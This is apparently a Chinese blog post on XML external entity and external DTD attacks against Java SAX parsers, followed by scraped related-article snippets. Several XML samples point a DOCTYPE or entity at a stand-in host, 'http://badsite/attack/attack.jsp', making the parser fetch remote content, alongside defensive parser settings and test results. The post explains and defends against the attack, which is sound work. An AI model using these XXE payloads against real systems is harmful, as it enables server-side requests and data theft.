这篇文章主要介绍如何利用XML的DOCTYPE属性进行恶意攻击和如何防范这类的攻击。
我们先看2个XML应用片段
场景1:在XML使用DTD
family.xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE family SYSTEM "family.dtd">
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
</family>
family.dtd
<!ELEMENT family (member*)>
<!ATTLIST family lastname CDATA #REQUIRED>
<!ELEMENT member (#PCDATA)>
<!ATTLIST member memberid ID #REQUIRED>
<!ATTLIST member dad IDREF #IMPLIED>
<!ATTLIST member mom IDREF #IMPLIED>
场景2:在一个XML中引用另一个XML
family.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY other SYSTEM "other.xml">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
&other;
</family>
other.xml
<?xml version="1.0" encoding="UTF-8"?>
<ok/>
Java解析代码示例:
public static void main(String[] arg) throws Exception {
InputStream is = this.getClass().getResourceAsStream("family.xml");
DefaultHandler handler = new DefaultHandler();
SAXParserFactory f = SAXParserFactory.newInstance();
f.setNamespaceAware(false);
SAXParser parser = f.newSAXParser();
parser.parse(is, handler);
}
在解析场景1和2中的family.xml时,若相关的文件的路径都正确,那么解析不会出现任何问题。若是场景1中family.dtd或者是场景2中的other.xml不存在时,我们就会发现解析时会出现如下异常:
Exception in thread "main" java.io.FileNotFoundException: /somepath/xxx/family.dtd (The system cannot find the file specified)
at java.io.FileInputStream.open(Native Method)
at java.io.FileInputStream.<init>(FileInputStream.java:106)
at java.io.FileInputStream.<init>(FileInputStream.java:66)
at sun.net.www.protocol.file.FileURLConnection.connect(FileURLConnection.java:70)
at sun.net.www.protocol.file.FileURLConnection.getInputStream(FileURLConnection.java:161)
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:653)
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1315)
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1252)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanEntityReference(XMLDocumentFragmentScannerImpl.java:1906)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(XMLDocumentFragmentScannerImpl.java:3032)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:648)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:511)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:808)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737)
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:119)
at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.parse(AbstractSAXParser.java:1205)
at com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser.parse(SAXParserImpl.java:522)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:395)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:198)
看到这个异常,你会想到什么?
在解析时它试图寻找family.dtd或者other.xml,那么我们是否可以用这个机制干点什么坏事?
再看下面2个xml片段:
场景1更新:将dtd的地址指向http://badsite/attack/attack.jsp
<?xml version="1.0" standalone="no"?>
<!DOCTYPE family SYSTEM "http://badsite/attack/attack.jsp">
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
</family>
场景2更新:将other.xml指向http://badsite/attack/attack.jsp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY attack SYSTEM "http://badsite/attack/attack.jsp">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
&attack;
</family>
如果我们在去解析这2个xml片段,就会发现它会去访问http://badsite/attack/attack.jsp这个地址。此时想必你已经知道下一步该怎么做了吧。
那么如何防范这类破坏呢?
对于场景1,我们在解析xml时需要禁止加载额外的dtd和验证
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setFeature("http://xml.org/sax/features/validation", false);
验证标记默认是为False的。
对于场景2,目前我还没有找到比较好的方式,只能在解析式时禁止使用doctype定义——比较粗鲁了。
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
这种方式对场景1也是适用的。
对于场景1和2继续做了如下5组测试
组合1:
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY attack SYSTEM "http://badsite/attack/attack.jsp">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
</family>
出现异常:
Exception in thread "main" java.lang.NullPointerException
at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDProcessor.startDTD(XMLDTDProcessor.java:685)
at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(XMLDTDScannerImpl.java:364)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(XMLDocumentScannerImpl.java:1141)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(XMLDocumentScannerImpl.java:1090)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(XMLDocumentScannerImpl.java:977)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:648)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:511)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:808)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737)
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:119)
at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.parse(AbstractSAXParser.java:1205)
at com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser.parse(SAXParserImpl.java:522)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:395)
at javax.xml.parsers.SAXParser.parse(SAXParser.java:198)
组合2:
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY attack SYSTEM "http://badsite/attack/attack.jsp">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
</family>
则解析通过,且并未访问http://badsite/attack/attack.jsp恶意页面
组合3:
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY attack SYSTEM "http://badsite/attack/attack.jsp">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
&attack;
</family>
解析通过,但要求访问http://badsite/attack/attack.jsp,将返回结果写入到xml中
组合4:
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE family [<!ENTITY attack SYSTEM "http://badsite/attack/attack.jsp">]>
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
&attack;
</family>
解析失败,异常同组合1
组合5:
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
<?xml version="1.0" standalone="no"?>
<!DOCTYPE family SYSTEM "http://badsite/attack/attack.jsp">
<family lastname="Smith">
<member memberid="m1">Sarah</member>
<member memberid="m2">Bob</member>
<member memberid="m3" mom="m1" dad="m2">Joanne</member>
<member memberid="m4" mom="m1" dad="m2">Jim</member>
</family>
无论设定 http://xml.org/sax/features/validation 与 http://apache.org/xml/features/nonvalidating/load-external-dtd 为True 或 False,解析都通过
综上:在解析xml时,忽略doctype定义是比较有效的方式。
分享到:
相关推荐
XML Attack Lightning Talk
This book covers the latest technologies such as Advance XSS, XSRF, SQL Injection, Web API testing, XML attack vectors, OAuth 2.0 Security, and more involved in today's web applications Penetrate and ...
XML网络编程中要注意防止XXE(XML External Entity Attack,XML外部实体注入攻击)和XSS(Cross-site scripting,跨站脚本攻击)等安全问题。合理配置XML解析器,限制解析选项,可以有效防止这些攻击。 总结,XML...
int attack = player->AttributeInt("attack"); // ... 其他属性 } // 遍历其他元素和属性... } ``` 在软件开发中, TinyXML也常用于序列化和反序列化对象状态,这样可以保存用户设置,或者在不同阶段恢复程序...
例如,我们可以找到代表人物属性的XML节点,如`<character><hp>1000</hp><mp>500</mp><attack>200</attack><defense>100</defense><hit>90</hit><dodge>10</dodge></character>`。这些数值可以通过修改XML代码来调整...
2. **Billion Laughs Attack**:这是一种拒绝服务(DoS)攻击,由于XML解析器处理大量嵌套的递归实体时会消耗大量资源,导致内存溢出或CPU过载。 3. **DTD (Document Type Definition) Injection**:通过篡改DTD,...
<attack frames="6" speed="0.4"/> ``` 在上述示例中,`<character>`是根元素,包含了角色的名称、生命值、攻击力和移动速度。`<animations>`元素则描述了角色的各种动画状态,如闲置、行走和攻击,每种动画都...
处理XML时,需要注意防止XXE(XML External Entity Attack)和XSS(Cross-Site Scripting)攻击。为避免这些问题,应禁用外部实体解析,确保只解析安全的数据源,并使用最新的XML库以获得最新的安全修复。 总结,...
6. **相关攻击模式**: 描述了利用该弱点可能采取的攻击手段,这些攻击模式可能来自CAPEC(Common Attack Pattern Enumeration and Classification)系统。 XML文件的结构化特性使得数据可以通过编程语言(如Python...
Zap(Zed Attack Proxy)是一款开源的Web应用程序安全扫描工具,主要用于Web渗透测试。它由OWASP(开放网络应用安全项目)维护,是全球安全社区广泛认可的工具之一。Zap可以帮助开发者、安全测试人员以及对Web应用...
4. **数据解析与处理**:为了处理网络流量或解析漏洞利用所需的结构化数据,框架可能使用了`json`、`xml`或`csv`等库来读取和操作数据。 5. **异常处理**:在执行攻击时,可能会遇到各种错误和异常,因此,良好的...
源代码中可能包含这些文件,它们用XML格式定义了UI元素和它们的连接。 5. **Auto Layout**: 自动布局是iOS中用于动态调整UI元素位置和大小的系统,确保在不同尺寸的设备上都有良好的显示效果。源代码中会有约束...
1. **Android应用的架构**:介绍Android应用的基本结构,包括Dalvik虚拟机、组件(Activity、Service、BroadcastReceiver、ContentProvider)以及如何使用XML配置文件。 2. **第三方库的重要性**:解释为什么开发者...
- 构建脚本(如build.gradle或Maven的pom.xml):用于编译、打包和部署Zap的自动化工具。 - 配置文件(如zap.conf):存储Zap的设置和默认选项,用户可以自定义这些配置以适应特定需求。 - 文档(.md或.html):...
服务总线CVE-2019-2576上的XML实体扩展 概述: 从下面的请求/响应示例中可以看出,可以执行xml实体扩展攻击,并且该攻击可以发送超出现有内存和处理器容量的请求,从而导致内存瓶颈并阻止服务运行。 返回更多10kb...
Zaproxy(Zed Attack Proxy)是一款开源的Web应用程序安全扫描工具,主要用来进行Web渗透测试。它是由Java编写,因此具备跨平台性,可以在多种操作系统上运行,包括Windows、Linux、Mac OS等。这款工具是OWASP(Open...
CAPEC(Common Attack Pattern Enumeration and Classification,通用攻击模式枚举与分类)是信息安全领域的一个重要概念,它由美国计算机紧急响应小组(CERT)和软件工程研究所(SEI)共同维护,用于标准化描述、...
在描述中提及的PDF标题为“Blind XPath Injection Attack: A Case Study”,表明文档将重点放在特定案例上,以此深入分析和讨论盲XPath注入攻击。Jyoti Lakhani是作者的名字,来自Maharaja Ganga Singh University, ...
3. **AJAX**:Asynchronous JavaScript and XML,用于在不刷新整个页面的情况下与服务器交换数据并更新部分网页内容,是现代Web应用的核心技术。 4. **Web安全基础**:包括防止XSS(跨站脚本)、CSRF(跨站请求伪造...
标题中的“wp_drupal_timing_attack”是一个特定的项目或工具名称,显然与WordPress和Drupal的安全漏洞利用有关。这个工具是一个Python脚本,设计用于利用2014年被发现的两个安全漏洞,即CVE-2014-9016和CVE-2014-...